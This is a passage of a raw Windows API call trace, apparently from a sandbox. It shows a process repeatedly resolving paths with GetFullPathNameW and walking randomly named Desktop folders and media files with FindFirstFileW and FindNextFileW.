lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0080.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\", lpFilePart=0x0) returned 0x33 [0080.242] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.243] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67371f70, ftCreationTime.dwHighDateTime=0x1d5e204, ftLastAccessTime.dwLowDateTime=0x3e6429b0, ftLastAccessTime.dwHighDateTime=0x1d5e378, ftLastWriteTime.dwLowDateTime=0x3e6429b0, ftLastWriteTime.dwHighDateTime=0x1d5e378, nFileSizeHigh=0x0, nFileSizeLow=0x7667, dwReserved0=0x0, dwReserved1=0x0, cFileName="6j2ngSMiR.mkv", cAlternateFileName="6J2NGS~1.MKV")) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95143480, ftCreationTime.dwHighDateTime=0x1d5dd4c, ftLastAccessTime.dwLowDateTime=0xcd303540, ftLastAccessTime.dwHighDateTime=0x1d5d7ec, ftLastWriteTime.dwLowDateTime=0xcd303540, ftLastWriteTime.dwHighDateTime=0x1d5d7ec, nFileSizeHigh=0x0, nFileSizeLow=0x16a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoVv.png", cAlternateFileName="")) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0ad90, ftCreationTime.dwHighDateTime=0x1d5d9f4, ftLastAccessTime.dwLowDateTime=0xdb463d60, ftLastAccessTime.dwHighDateTime=0x1d5da75, ftLastWriteTime.dwLowDateTime=0xdb463d60, ftLastWriteTime.dwHighDateTime=0x1d5da75, nFileSizeHigh=0x0, nFileSizeLow=0xb713, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jt74k.avi", cAlternateFileName="")) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f8af7e0, ftCreationTime.dwHighDateTime=0x1d5da19, ftLastAccessTime.dwLowDateTime=0xfd6cee30, ftLastAccessTime.dwHighDateTime=0x1d5e177, ftLastWriteTime.dwLowDateTime=0xfd6cee30, ftLastWriteTime.dwHighDateTime=0x1d5e177, nFileSizeHigh=0x0, nFileSizeLow=0xb725, dwReserved0=0x0, dwReserved1=0x0, cFileName="QXGVUV_.avi", cAlternateFileName="")) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211756c0, ftCreationTime.dwHighDateTime=0x1d5e6e3, ftLastAccessTime.dwLowDateTime=0x43000a30, ftLastAccessTime.dwHighDateTime=0x1d5dfad, ftLastWriteTime.dwLowDateTime=0x43000a30, ftLastWriteTime.dwHighDateTime=0x1d5dfad, nFileSizeHigh=0x0, nFileSizeLow=0x189c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaMXn_DN7O-C3wQ.odt", cAlternateFileName="WAMXN_~1.ODT")) returned 1 [0080.244] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f88cee0, ftCreationTime.dwHighDateTime=0x1d5e77c, ftLastAccessTime.dwLowDateTime=0xb0922470, ftLastAccessTime.dwHighDateTime=0x1d5db4d, ftLastWriteTime.dwLowDateTime=0xb0922470, ftLastWriteTime.dwHighDateTime=0x1d5db4d, nFileSizeHigh=0x0, nFileSizeLow=0x6bc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="zbgRIvH-h7PmK-.gif", cAlternateFileName="ZBGRIV~1.GIF")) returned 1 [0080.244] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1347c90, ftCreationTime.dwHighDateTime=0x1d5db67, ftLastAccessTime.dwLowDateTime=0xd2b1ece0, ftLastAccessTime.dwHighDateTime=0x1d5dfdd, ftLastWriteTime.dwLowDateTime=0xd2b1ece0, ftLastWriteTime.dwHighDateTime=0x1d5dfdd, nFileSizeHigh=0x0, nFileSizeLow=0xc819, dwReserved0=0x0, dwReserved1=0x0, cFileName="_pRz.avi", cAlternateFileName="")) returned 1 [0080.244] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1347c90, ftCreationTime.dwHighDateTime=0x1d5db67, ftLastAccessTime.dwLowDateTime=0xd2b1ece0, ftLastAccessTime.dwHighDateTime=0x1d5dfdd, ftLastWriteTime.dwLowDateTime=0xd2b1ece0, ftLastWriteTime.dwHighDateTime=0x1d5dfdd, nFileSizeHigh=0x0, nFileSizeLow=0xc819, dwReserved0=0x0, dwReserved1=0x0, cFileName="_pRz.avi", cAlternateFileName="")) returned 0 [0080.244] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.245] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.245] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.245] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe00752f0, ftCreationTime.dwHighDateTime=0x1d5e7de, ftLastAccessTime.dwLowDateTime=0x5c720410, ftLastAccessTime.dwHighDateTime=0x1d5db6a, ftLastWriteTime.dwLowDateTime=0x5c720410, ftLastWriteTime.dwHighDateTime=0x1d5db6a, nFileSizeHigh=0x0, nFileSizeLow=0x1ce9, dwReserved0=0x0, dwReserved1=0x0, cFileName="f0Ew.png", cAlternateFileName="")) returned 1 [0080.245] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8206e040, ftCreationTime.dwHighDateTime=0x1d5dc2f, ftLastAccessTime.dwLowDateTime=0x389c1a80, ftLastAccessTime.dwHighDateTime=0x1d5e23b, ftLastWriteTime.dwLowDateTime=0x389c1a80, ftLastWriteTime.dwHighDateTime=0x1d5e23b, nFileSizeHigh=0x0, nFileSizeLow=0x10a65, dwReserved0=0x0, dwReserved1=0x0, cFileName="FClx.bmp", cAlternateFileName="")) returned 1 [0080.245] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1287b0d0, ftCreationTime.dwHighDateTime=0x1d5daa1, ftLastAccessTime.dwLowDateTime=0x5bf53650, ftLastAccessTime.dwHighDateTime=0x1d5de04, ftLastWriteTime.dwLowDateTime=0x5bf53650, ftLastWriteTime.dwHighDateTime=0x1d5de04, nFileSizeHigh=0x0, nFileSizeLow=0x7108, dwReserved0=0x0, dwReserved1=0x0, cFileName="fT-izWRtqFXfhb4wc.mkv", cAlternateFileName="FT-IZW~1.MKV")) returned 1 [0080.246] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b63e880, ftCreationTime.dwHighDateTime=0x1d5df60, ftLastAccessTime.dwLowDateTime=0x43ddd6a0, ftLastAccessTime.dwHighDateTime=0x1d5dbf5, ftLastWriteTime.dwLowDateTime=0x43ddd6a0, ftLastWriteTime.dwHighDateTime=0x1d5dbf5, nFileSizeHigh=0x0, nFileSizeLow=0x157ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNLIVzXtjqfLCzR.mp3", cAlternateFileName="GNLIVZ~1.MP3")) returned 1 [0080.246] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1556c4d0, ftCreationTime.dwHighDateTime=0x1d5e722, ftLastAccessTime.dwLowDateTime=0x812643f0, ftLastAccessTime.dwHighDateTime=0x1d5e4e5, ftLastWriteTime.dwLowDateTime=0x812643f0, ftLastWriteTime.dwHighDateTime=0x1d5e4e5, nFileSizeHigh=0x0, nFileSizeLow=0xf982, dwReserved0=0x0, dwReserved1=0x0, cFileName="HIUNA9uXt V.bmp", cAlternateFileName="HIUNA9~1.BMP")) returned 1 [0080.246] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f1c1080, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x3014a0f0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x3014a0f0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mta0O BJjST2m", cAlternateFileName="MTA0OB~1")) returned 1 [0080.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0080.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\", lpFilePart=0x0) returned 0x34 [0080.248] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f1c1080, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x3014a0f0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x3014a0f0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.248] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f1c1080, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x3014a0f0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x3014a0f0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.248] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41799e20, ftCreationTime.dwHighDateTime=0x1d5e7f9, ftLastAccessTime.dwLowDateTime=0xa3b3d7e0, ftLastAccessTime.dwHighDateTime=0x1d5e68c, ftLastWriteTime.dwLowDateTime=0xa3b3d7e0, ftLastWriteTime.dwHighDateTime=0x1d5e68c, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8r6 SzTkKE_06X-OWSj0.mp4", cAlternateFileName="8R6SZT~1.MP4")) returned 1 [0080.257] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe2b30, ftCreationTime.dwHighDateTime=0x1d5d982, ftLastAccessTime.dwLowDateTime=0x75426320, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0x75426320, 